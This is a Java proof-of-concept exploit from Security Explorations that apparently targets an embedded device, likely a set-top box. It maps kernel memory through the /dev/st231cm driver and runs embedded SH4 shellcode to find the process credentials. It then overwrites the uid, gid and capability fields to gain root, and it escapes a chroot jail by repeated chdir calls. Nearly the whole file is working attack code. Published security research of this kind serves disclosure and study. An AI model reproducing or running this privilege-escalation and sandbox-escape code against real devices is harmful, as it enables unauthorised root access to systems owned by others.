/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class Exploit {

 public static int BUFSIZE   = 0x1000;

 public static int CREDSSIZE = 8*4;
 public static int CAPSSIZE  = 3*4;

 public static int CAPSOFF   = 0x00000024;

 private static int creds;
 private static int caps;
 private static int sccode;

 private static int searchcreds[]={
  0x4f222fe6,     /*  mov.l   r14, @-r15                                      */
                  /*  sts.l   pr, @-r15                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x0009b002,     /*  bsr     forward                                         */
                  /*  nop                                                     */
  0x11223344,     /*  .long 0x11223344 ! begin marker                         */
                  /*                                                          */
  0x6b43eaff,     /*  mov     #-1,r10                                         */
                  /*  mov     r4,r11                                          */
  0x6042e904,     /*  mov     #4,r9                                           */
                  /*  mov.l   @r4,r0                                          */
  0x8b053600,     /*  cmp/eq  r0,r6                                           */
                  /*  bf      nomatch1                                        */
  0x49100009,     /*  nop                                                     */
                  /*  dt      r9                                              */
  0x00098b03,     /*  bf      nextword1                                       */
                  /*  nop                                                     */
  0x0009a009,     /*  bra     uidsfound                                       */
                  /*  nop                                                     */
  0xe004e904,     /*  mov     #4,r9                  ! match num              */
                  /*  mov     #4,r0                                           */
  0x3508340c,     /*  add     r0,r4                  ! update buf             */
                  /*  sub     r0,r5                  ! update size            */
  0x8bf02558,     /*  tst     r5,r5                                           */
                  /*  bf      matchloop1                                      */
  0xa01d0009,     /*  nop                                                     */
                  /*  bra     end                                             */
  0xe9040009,     /*  nop                                                     */
                  /*  mov     #4,r9                  ! match num              */
  0x3598349c,     /*  add     r9,r4                  ! update buf             */
                  /*  sub     r9,r5                  ! update size            */
  0x8b022558,     /*  tst     r5,r5                                           */
                  /*  bf      matchloop2                                      */
  0xa0150009,     /*  nop                                                     */
                  /*  bra     end                                             */
  0x60420009,     /*  nop                                                     */
                  /*  mov.l   @r4,r0                                          */
  0x8beb3700,     /*  cmp/eq  r0,r7                                           */
                  /*  bf      nomatch1                                        */
  0x49100009,     /*  nop                                                     */
                  /*  dt      r9                                              */
  0x00098b02,     /*  bf      nextword2                                       */
                  /*  nop                                                     */
  0x0009a008,     /*  bra     gidsfound                                       */
                  /*  nop                                                     */
  0x340ce004,     /*  mov     #4,r0                                           */
                  /*  add     r0,r4                  ! update buf             */
  0x25583508,     /*  sub     r0,r5                  ! update size            */
                  /*  tst     r5,r5                                           */
  0x00098bf1,     /*  bf      matchloop2                                      */
                  /*  nop                                                     */
  0x0009a004,     /*  bra     end                                             */
                  /*  nop                                                     */
  0x3ab86a43,     /*  mov     r4,r10                 ! buf                    */
                  /*  sub     r11,r10                                         */
  0x3a18e11c,     /*  mov     #28,r1                                          */
                  /*  sub     r1,r10                                          */
  0x4f2660a3,     /*  mov     r10,r0                 ! return offset          */
                  /*  lds.l  @r15+, pr                                        */
  0x6ef6000b,     /*  rts                                                     */
                  /*  mov.l  @r15+, r14                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
 };

 static {
  sccode=Utils.code2buf(searchcreds); 
 }

 private static void patchcreds(int addr,int uid) {
  for(int i=0;i<(CREDSSIZE>>2);i++) {
   Memory.write_dword(addr+4*i,uid);
  }
 }

 private static void patchcaps(int addr) {
  for(int i=0;i<(CAPSSIZE>>2);i++) {
   Memory.write_dword(addr+4*i,0xffffffff);
  }
 }

 public static int st231cm_mmap(int fd,int kaddr,int size) {
  return Syscall.mmap(0,size,Syscall.PROT_READ|Syscall.PROT_WRITE,Syscall.MAP_SHARED,fd,kaddr);
 }

 public static int st231cm_unmap(int uaddr,int size) {
  return Syscall.munmap(uaddr,size);
 }

 private static int searchcreds(int buf,int bufsize,int uid,int gid) {
  NativeCode nc=NativeCode.getInstance();  
  return nc.invoke(sccode,buf,bufsize,uid,gid,0,0,0,0);  
 }

 public static int find_creds(int fd,int start,int end,int mapsize,int uid, int gid) throws Throwable {
  for(int kaddr=start;kaddr<end;kaddr+=(mapsize-0x1000)) {
   int addr=st231cm_mmap(fd,kaddr,mapsize);
//   ApiMonitor.log("st231cm_Mmap "+Utils.hex_value(kaddr,8)+" res "+Utils.hex_value(addr,8));

   boolean found=false;

   if (addr!=-1) {
    int off=0;
    int size=mapsize-32-off;

    while(off<size) {
//     ApiMonitor.log("searchcreds kaddr "+Utils.hex_value(kaddr,8)+" off "+Utils.hex_value(off,8)+" size "+Utils.hex_value(size,8));
     int new_off=searchcreds(addr+off,size,uid,gid);
//     ApiMonitor.log("searchcreds res off: "+Utils.hex_value(new_off,8));

     if (new_off>=0) {
      off+=new_off;

      int creds_addr=addr+off;

      patchcreds(creds_addr,0);
      patchcaps(creds_addr+CAPSOFF);

      if (Syscall.getuid()==0) {
       return kaddr+off;
      }

      off+=32;
      size=mapsize-32-off;
     } else break;
    }

    st231cm_unmap(addr,mapsize);
   }
  }

  return -1;
 }

 public static void getroot() {
  try {
   int uid=Syscall.getuid();

   if (uid==0) return;
 
   int fd=Syscall.open("/dev/st231cm",FSDefs.O_RDWR);

   if (fd>=0) {
    int pagesize=ELFUtils.PAGESIZE;
    int mapsize=0x200000;

    uid=Syscall.getuid();
    int gid=Syscall.getgid();

    int kranges[]={
     0x40000000,0x7fe00000
    };

    boolean found=false;
 
    while(!found) {
     for(int i=0;i<kranges.length;i+=2) {
      int start=kranges[i];
      int end=kranges[i+1];

      int addr=find_creds(fd,start,end,mapsize,uid,gid);

      if (addr!=-1) {
       ApiMonitor.log("creds at: "+Utils.hex_value(addr,8));
       ApiMonitor.log("creds / caps patched");

       found=true;
       break;
      }
     }
    }
   }  
  } catch(Throwable t) {
   ApiMonitor.log("getroot: "+t);
  }
 }

 public static void escapechroot() {
  Syscall.chroot("lib");

  for(int i=0;i<40;i++) {
   Syscall.chdir("..");
  }

  Syscall.chroot(".");
 }

}
